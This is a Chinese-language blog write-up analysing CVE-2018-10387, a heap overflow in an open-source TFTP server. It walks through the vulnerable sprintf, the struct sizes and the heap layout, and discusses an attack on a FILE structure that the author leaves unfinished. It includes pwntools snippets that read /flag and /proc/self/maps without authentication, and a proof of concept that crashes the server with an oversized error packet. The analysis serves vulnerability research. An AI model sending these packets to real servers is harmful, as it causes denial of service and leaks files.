CVE-2018-10387 TFTP Server 堆溢出

分析

首先查看漏洞报告:

Heap-based overflow vulnerability in TFTP Server SP 1.66 and earlier allows remote attackers to perform a denial of service or possibly execute arbitrary code via a long TFTP error packet, a different vulnerability than CVE-2008-2161.

程序是一个开源的TFTP协议服务器.下载v1.66源码到本地.

大概了解一下TFTP协议:
https://zh.wikipedia.org/wiki/%E7%AE%80%E5%8D%95%E6%96%87%E4%BB%B6%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE
https://blog.csdn.net/lqy971966/article/details/121810609
https://blog.csdn.net/ScilogyHunter/article/details/105592806

既然是无认证的tftp服务器,对于CTF来说可以直接读出flaghhh.不过也为RCE提供了便利,可以读/proc/self/maps获取地址信息绕过ASLR.

1
2
3
4
5
6
7
8
9
10
11
payload = b''
payload += b'\x00\x01'
payload += b'//flag\x00'+b'netascii\x00'

io = remote('172.17.0.2',port,typ='udp')


io.send(payload)
print(io.recv())

io.interactive()

大概浏览一下源码,理解一下大体的处理逻辑.根据漏洞报告中的描述,定位到漏洞点(处理error packet时).
有两处相似的处理逻辑:
发现在%s写入时可能会发出越界写入漏洞,但是否真的发生还得看一下errormessage和datain->buffer字段的检查.

1
2
3
4
5
6
7
else if (ntohs(datain->opcode) == 5)
{
sprintf(req1->serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
logMess(req1, 1);
cleanReq(req1);
}

1
2
3
4
5
else if (ntohs(datain->opcode) == 5)
{
sprintf(req.serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
logMess(&req, 1);
}

req1和req均是request结构.前者在堆上,后者是栈上的局部变量.

1
request *req1 = (request*)calloc(1, sizeof(request));

errormessage的长度为508字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct request
{
char mapname[32];
MYBYTE opcode;
MYBYTE attempt;
MYBYTE sockInd;
time_t expiry;
char path[256];
FILE *file;
char *filename;
char *mode;
MYDWORD tsize;
MYDWORD blksize;
MYDWORD timeout;
MYDWORD fblock;
MYWORD block;
MYWORD tblock;
int bytesRecd;
MYWORD bytesRead[2];
int bytesReady;
sockaddr_in client;
socklen_t clientsize;
packet* pkt[2];
union
{
acknowledgement acout;
message mesout;
tftperror serverError;
};
};

struct tftperror
{
MYWORD opcode;
MYWORD errorcode;
char errormessage[508];
};


datain是packet结构,用来储存从网络中接收到的数据,大小为blksize+4,不过对单次接收报文长度有检查,不能超过sizeof(message)==516字节.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct packet
{
MYWORD opcode;
MYWORD block;
char buffer;
};

struct message
{
MYWORD opcode;
char buffer[514];
};

//blksize默认为65464
datain = (packet*)calloc(1, blksize + 4);

else if (req1->bytesRecd > (int)sizeof(message))
{
req1->serverError.opcode = htons(5);
req1->serverError.errorcode = htons(4);
sendto(network.tftpConn[req1->sockInd].sock, (const char*)&req1->serverError, strlen(req1->serverError.errormessage) + 5, 0, (sockaddr*)&req1->client, req1->clientsize);
sprintf(req1->serverError.errormessage, "Error: Incoming Packet too large");
logMess(req1, 1);
cleanReq(req1);
}

则最大溢出长度为18(其他字符串长度)+512(packet->buffer)-508(req1->serverError.errormessage)+n(%i的输出长度)=22+%i.最大为32字节.

动态调试一下看看堆布局,溢出长度32字节.
从内存的使用来看,只能溢出到后方的一个tftpAge(std::multimap<long, request*>)的结点的color字段和parent字段,覆盖color字段自然没什么用,parent字段虽然是个指针,但由于并不具备对tftpAge中节点内容的读写能力,也起不到太大作用.
从堆管理器来看,能覆盖下一个堆块的size字段和fd字段.

1
2
3
4
5
6
//rb_tree_node的内存布局
color
parent
left
right
value(pair<long,request*>)


下图为覆盖后.

能分配并写入的堆块大小只有0x210(req->pkt)和0x3a0(req),并且都是calloc得到的.于是Tcache poisoning不太行,尝试改大size放进unsortedbin制造堆块重叠,再切割取回.
正好后面有个file结构体(下图0x164f2b0处),可以打fsop.

看一下该map节点的释放操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
	myMultiMap::iterator p = tftpAge.begin();
myMultiMap::iterator q;
time_t currentTime = time(NULL);
request *req;

while (p != tftpAge.end())
{
req = p->second;

if (p->first > currentTime)
break;
else if (p->first < req->expiry && req->expiry > currentTime)
{
q = p;
p++;
tftpAge.erase(q);
tftpAge.insert(pair<long, request*>(req->expiry, req));
}
else if (req->expiry <= currentTime && req->attempt >= 3)
{
//3次重试后即进行清理操作
if (req->attempt < UCHAR_MAX)
{
req->serverError.opcode = htons(5);
req->serverError.errorcode = htons(0);

if (req->fblock && !req->block)
strcpy(req->serverError.errormessage, "Large File, Block# Rollover not supported by Client");
else
strcpy(req->serverError.errormessage, "Timeout");

sendto(network.tftpConn[req->sockInd].sock, (const char*)&req->serverError, strlen(req->serverError.errormessage) + 5, 0, (sockaddr*)&req->client, req->clientsize);
logMess(req, 1);
}

q = p;
p++;
tftpAge.erase(q);//在这里释放
tftpCache.erase(req->mapname);
cleanReq(req);
free(req);
}
else if (req->expiry <= currentTime)
{
if (ntohs(req->acout.opcode) == 3)
{
if (processSend(req))
cleanReq(req);
else
{
req->attempt++;
req->expiry = currentTime + req->timeout;
}
}
else
{
errno = 0;
sendto(network.tftpConn[req->sockInd].sock, (const char*)&req->acout, req->bytesReady, 0, (sockaddr*)&req->client, req->clientsize);
//errno = WSAGetLastError();

if (errno)
cleanReq(req);
else
{
req->attempt++;
req->expiry = currentTime + req->timeout;
}
}
p++;
}
else
p++;
}
}
while (kRunning);

于是只需更改size后等待其3次重发包后即可完成释放.下图为释放后的效果,可以看到已成功造成堆块重叠(file结构体位于0x1d022b0),现在只需分配堆块并写入劫持file结构体进行fsop即可获得shell.

不过分配并写入的原语就比较受限了.看起来比较好用的是通过读请求时main->processNew中的操作.
从这里看出,可以先将payload写入一个文件,再请求读取该文件时即可分配并写入.

1
2
3
4
5
6
7
8
9
10
11
if (ntohs(datain->opcode) == 1)
{
errno = 0;
req->pkt[0] = (packet*)calloc(1, req->blksize + 4);
req->pkt[1] = (packet*)calloc(1, req->blksize + 4);
....
}

req->pkt[0]->opcode = htons(3);
req->pkt[0]->block = htons(1);
req->bytesRead[0] = fread(&req->pkt[0]->buffer, 1, req->blksize, req->file);

先测试一下,结果收到了PUT AccessDenied的回复

对照源码看一下,发现该tftpd实现中写文件的操作是默认关闭的,然而所有能写入req->pkt中的内容都来自读取的文件,所以这条路在默认情况下是走不通了.

1
2
3
4
5
6
7
8
9
10
if (!cfig.fileWrite && !cfig.fileOverwrite)
{
req->serverError.opcode = htons(5);
req->serverError.errorcode = htons(2);
strcpy(req->serverError.errormessage, "PUT Access Denied");
sendto(network.tftpConn[req->sockInd].sock, (const char*)&req->serverError, strlen(req->serverError.errormessage) + 5, 0, (sockaddr*)&req->client, req->clientsize);
logMess(req, 1);
cleanReq(req);
return 1;
}

用不可控的文件来覆盖file结构体Poc一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ioli = []

def ReadNew(filename):
io = remote(ip,port,typ='udp')
payload = b''
payload += b'\x00\x01'
payload += filename
io.send(payload)
ioli.append(io)

def WriteNew(filename,content):
io = remote(ip,port,typ='udp')
payload = b''
payload += b'\x00\x02'
payload += filename
io.send(payload)
ioli.append(io)

def serror(io,errmsg):
payload = b''
payload += b'\x00\x05'
payload += b'\x00\x01'
payload += errmsg
io.send(payload)


ReadNew(b'//proc/self/maps\x00'+b'netascii\x00')
ReadNew(b'//proc/self/maps\x00'+b'netascii\x00')
serror(ioli[0],b'c'*497+p64(0x6F1))

sleep(10)
ReadNew(b'//proc/self/maps\x00'+b'netascii\x00')
sleep(10)

成功在fclose时触发crash.

于是只能转去走另一条路了,通过errormsg来写入,由于写入能力更加受限(1.写入位置距堆块起始位置有较大偏移,2.不是立即写入,中间会分配其他对象),只会做菜单堆的笔者目前能力还无法完成这样环境下的堆布局….

大概分析到这,以后再回来填坑了.

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信